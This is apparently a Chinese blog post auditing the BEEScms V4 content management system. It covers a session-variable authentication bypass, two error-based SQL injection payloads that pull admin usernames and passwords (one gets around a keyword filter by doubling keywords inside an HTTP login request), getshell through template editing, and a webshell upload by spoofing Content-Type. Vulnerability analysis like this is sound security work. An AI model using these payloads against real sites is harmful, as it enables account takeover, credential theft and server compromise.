BEEScms_V4代码审计漏洞分析

发布时间 2023-09-03 00:58:27作者: 徐也

鉴权漏洞-访问绕过

全局变量预设时忽略了后面鉴权用到的session变量,全局鉴权函数在includes/fun.php的is_login()中,逻辑非常简单,只是单纯的判断了是否存在login_in admin、session这俩标识位和超时大于3600,满足条件即可。

测试方法
在任意页面发送payload,然后直接访问admin

_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=12345678912345

前台-SQL注入

注入点1

原理和前面类似,member\member.php直接带入用户可控的session值查询

#第198行$_SESSION['member_purview']值注入
$sql="select member_group_name from ".DB_PRE."member_group where id={$_SESSION['member_purview']}";

#payload

_SESSION[member_purview]=updatexml(1,concat(0x5c,(Select group_concat(admin_name,0x5c,admin_password) from bees_admin)),1)&_SESSION[member_user]=1&_SESSION[member_login]=1&_SESSION[member_id]=1

注入点2

admin/login.php中调用了includes/fun.php中的check_login($user,$password)函数,将用户输入的user直接带入查询

#存在简单的过滤
function fl_value($str){
	if(empty($str)){return;}
	return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}
define('INC_BEES','B'.'EE'.'SCMS');
function fl_html($str){
	return htmlspecialchars($str);
}

因为存在关键字的过滤,所以需要简单构造一下payload

POST /bees/admin/login.php?action=ck_login HTTP/1.1
Host: 127.0.0.1
Content-Length: 193
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=vsqge8462edk0oo24tuip07bt7
Connection: close

user=admin' an and d updatexml(1,concat(0x5c,(Selselectect group_concat(admin_name,0x5c,admin_password) fr from om bees_admin)),1)#&password=123456&code=a5db&submit=true&submit.x=29&submit.y=21

模板页修改getshell

admin_template.php这个位置即存在文件包含还可以修改包含文件的内容,直接插入一句话就行了

#好像admin_template.php后台没有显示,也许是开发没写吧或是忘了吧,URL为:
http://127.0.0.1/bees/admin/admin_template.php?action=xg&nav=list_tpl&admin_p_nav=tpl&lang=cn&file=包含的文件

文件上传getshell

这里admin/upload.php调用了/includes/fun.php里的up_img(),作用是校验上传文件的content-type字段,如果content-type字段是允许上传的类型,则上传成功,否则上传失败。所以这里我们只要在数据包中修改content-type字段,就可以绕过上传校验,上传webshell